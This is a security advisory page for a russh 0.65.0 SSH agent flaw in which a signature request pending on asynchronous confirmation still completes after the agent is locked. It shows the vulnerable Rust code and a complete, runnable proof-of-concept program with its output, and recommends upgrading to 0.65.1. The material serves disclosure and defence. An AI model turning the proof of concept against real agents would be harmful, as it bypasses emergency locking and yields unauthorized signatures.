CVE-2026-128088: russh try_sign: asynchronous confirmation can sign after agent lock

Published Nov 13, 2026
·
Updated

Summary

In russh 0.65.0, a sign request for a confirmation-constrained key can retain and use the private key after another connection locks the agent. trysign() snapshots an Arc<PrivateKey> before awaiting Agent::confirm() and does not revalidate the shared lock state after the await. An agent-forwarding peer can therefore obtain a signature while the agent is locked and every new request is being rejected.

Details

The agent's lock and key stores are shared by all connections. respond() reads the lock state once, then dispatches a sign request:

rust let islocked = { // ... read the shared lock ... };

// ... Some((&13, mut r)) if !islocked && agentref.confirmrequest(MessageType::Sign).await => { let agent = self.agent.take().okor(Error::AgentFailure)?; let (agent, signed) = self.trysign(agent, &mut r, writebuf).await?;

In trysign(), russh clones the private key from the shared store and drops the store lock before awaiting the asynchronous confirmation callback:

rust let key = { let blob = Bytes::decode(r)?; let k = self.keys.0.read().or(Err(Error::AgentFailure))?; if let Some((key, , constraints)) = k.get(&blob.tovec()) { if constraints.contains(&Constraint::Confirm) { needsconfirm = true; } key.clone() } else { return Ok((agent, false)); } };

let agent = if needsconfirm { let (agent, ok) = agent.confirm(key.clone()).await; if !ok { return Ok((agent, false)); } agent } else { agent };

// No lock/key-state revalidation occurs here. signwithhashalg(&PrivateKeyWithHashAlg::new(key, hashalg), &data)? .encode(writebuf)?;

While confirm() is pending, a second agent connection can successfully lock the shared agent. When confirmation later returns true, the original connection signs with its captured Arc<PrivateKey>.

The affected code is in russh/src/keys/agent/server.rs and trysign().

RFC 9987 section 5.7 requires a locked agent to suspend private-key signature operations until it is unlocked. A fresh request is correctly rejected while locked; only the request suspended across the await bypasses the lock.

The vulnerable asynchronous call was introduced by commit 62db6e7 as the fix for GHSA-vp5q-ff62-jwqv. The behavior is present in released version 0.65.0 and current commit 183a22e8f8f490fa09b6eb7bd044ef99d8c4414f.

Expected behavior

After the agent reports a successful lock, no private-key signature operation should complete until a successful unlock.

Actual behavior

A request that reached Agent::confirm() before the state transition signs afterward. New requests made in the same locked or expired state fail, confirming that the shared state transition took effect.

Proof of concept

The PoC is self-contained and uses in-memory duplex streams; it does not require an SSH server, Unix socket, or attached binary file. With a current stable Rust toolchain installed, create a new directory:

sh mkdir -p russh-agent-lock-toctou-poc/src cd russh-agent-lock-toctou-poc

Create Cargo.toml:

toml [package] name = "russh-agent-lock-toctou-poc" version = "0.1.0" edition = "2024"

[dependencies] futures = "0.3" rand = { version = "0.10", features = ["threadrng"] } russh = "=0.65.0" tokio = { version = "1", features = ["macros", "rt-multi-thread", "sync"] } tokio-stream = "0.1"

Create src/main.rs:

rust use std::{future::Future, sync::Arc};

use russh::keys::agent::{ Constraint, client::AgentClient, server::{self, Agent}, }; use russh::keys::{Algorithm, PrivateKey}; use tokio::{ io::DuplexStream, sync::{Notify, mpsc}, }; use tokiostream::wrappers::ReceiverStream;

#[derive(Clone)] struct DelayedConfirm { entered: Arc<Notify>, release: Arc<Notify>, }

impl Agent for DelayedConfirm { fn confirm( self, key: Arc<PrivateKey>, ) -> Box<dyn Future<Output = (Self, bool)> + Unpin + Send> { Box::new(Box::pin(async move { self.entered.notifyone(); self.release.notified().await; (self, true) })) } }

async fn connect( sender: &mpsc::Sender<std::io::Result<DuplexStream>>, ) -> AgentClient<DuplexStream> { let (serverstream, clientstream) = tokio::io::duplex(1024 1024); sender.send(Ok(serverstream)).await.unwrap(); AgentClient::connect(clientstream) }

#[tokio::main] async fn main() { let entered = Arc::new(Notify::new()); let release = Arc::new(Notify::new()); let agent = DelayedConfirm { entered: entered.clone(), release: release.clone(), };

let (sender, receiver) = mpsc::channel(4); tokio::spawn(async move { server::serve::<DuplexStream, , >(ReceiverStream::new(receiver), agent) .await .unwrap(); });

let key = PrivateKey::random(&mut rand::rng(), Algorithm::Ed25519).unwrap(); let publickey = key.publickey().clone();

let mut administrator = connect(&sender).await; administrator .addidentity(&key, &[Constraint::Confirm]) .await .unwrap();

let mut attacker = connect(&sender).await; let attackerkey = publickey.clone(); let pendingsign = tokio::spawn(async move { attacker .signrequestsignature(&attackerkey, None, b"attacker-controlled request") .await });

entered.notified().await; administrator.lock(b"lock-password").await.unwrap(); println!("agent locked while confirmation was pending");

// Control: a request started after the lock is rejected. let mut control = connect(&sender).await; let controlresult = control .signrequestsignature(&publickey, None, b"post-lock request") .await; println!("new post-lock request accepted: {}", controlresult.isok());

// The original request signs after the lock has taken effect. release.notifyone(); let pendingresult = pendingsign.await.unwrap(); println!( "pre-lock request signed after lock: {}", pendingresult.isok() );

assert!(controlresult.iserr()); assert!(pendingresult.isok()); }

Run:

sh cargo run --quiet

Observed on russh 0.65.0 with Rust 1.91.0:

text agent locked while confirmation was pending new post-lock request accepted: false pre-lock request signed after lock: true

Impact

russh-based SSH agents that implement asynchronous confirmation are affected, including agents exposed to remote SSH servers through agent forwarding. A peer can begin a signature request while the agent is unlocked and hold it in the confirmation phase. If the agent is subsequently locked, approving or otherwise completing the stale confirmation still gives the peer a signature that the agent's current state rejects for every new request.

This weakens emergency locking. The attacker does not recover private key material, and exploitation requires a sign request to be pending across the state transition and its confirmation callback eventually to return true.

Related

- RFC 9987 section 5.7: Locking and Unlocking an Agent - GHSA-vp5q-ff62-jwqv / CVE-2026-116794: missing confirmation enforcement - Commit 62db6e7: call Agent::confirm - Affected respond() implementation at v0.65.0 - Affected trysign() implementation at v0.65.0

Other sources

russh is a Rust SSH client and server library that includes an SSH agent protocol implementation. Prior to version 0.65.1, trysign() captures an Arc<PrivateKey> before awaiting Agent::confirm() and does not revalidate the shared lock state or key presence after the await. This is a distinct residual defect in the remediation for CVE-2026-116794. A peer, including a remote SSH server using agent forwarding, can begin a confirmation-constrained signature request while the agent is unlocked and receive the signature after another connection locks the agent if the stale confirmation returns true. New post-lock requests are rejected and private key material is not disclosed, but the pending operation bypasses the current lock state. This issue is fixed in version 0.65.1.

— MITRE

Affected Software

2 affected componentsFixes available
rust/russh=0.65.0
0.65.1
rust/russh>=0.65.0<0.65.1
0.65.1

Remediation

Recommended actions to resolve this vulnerability, in priority order.

  1. Upgrade

    Upgrade rust/russh to a version that resolves this vulnerability.

    Fixed in 0.65.1
  2. Upgrade

    Upgrade russh to a version that resolves this vulnerability.

    Fixed in 0.65.1

Event History

Nov 13, 2026
CVE Published
via MITRE·07:07 PM
Data Sourced
via MITRE·07:07 PM
DescriptionSeverityWeakness
Advisory Published
via GitHub·07:10 PM
Data Sourced
via GitHub·07:10 PM
DescriptionSeverityWeaknessAffected Software

Frequently Asked Questions

1

Who is exposed to this issue?

Agents using russh 0.65.0 with confirmation-constrained keys are exposed when their agent is shared across connections, including through agent forwarding. The issue depends on one connection processing a sign request while another connection locks the shared agent.

2

What does an attacker need to exploit it?

An agent-forwarding peer must have a sign request in progress for a confirmation-constrained key and obtain confirmation before the request resumes. A separate connection must lock the agent during the asynchronous confirmation wait; new requests are rejected after locking, but the already-started request can still produce a signature.

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203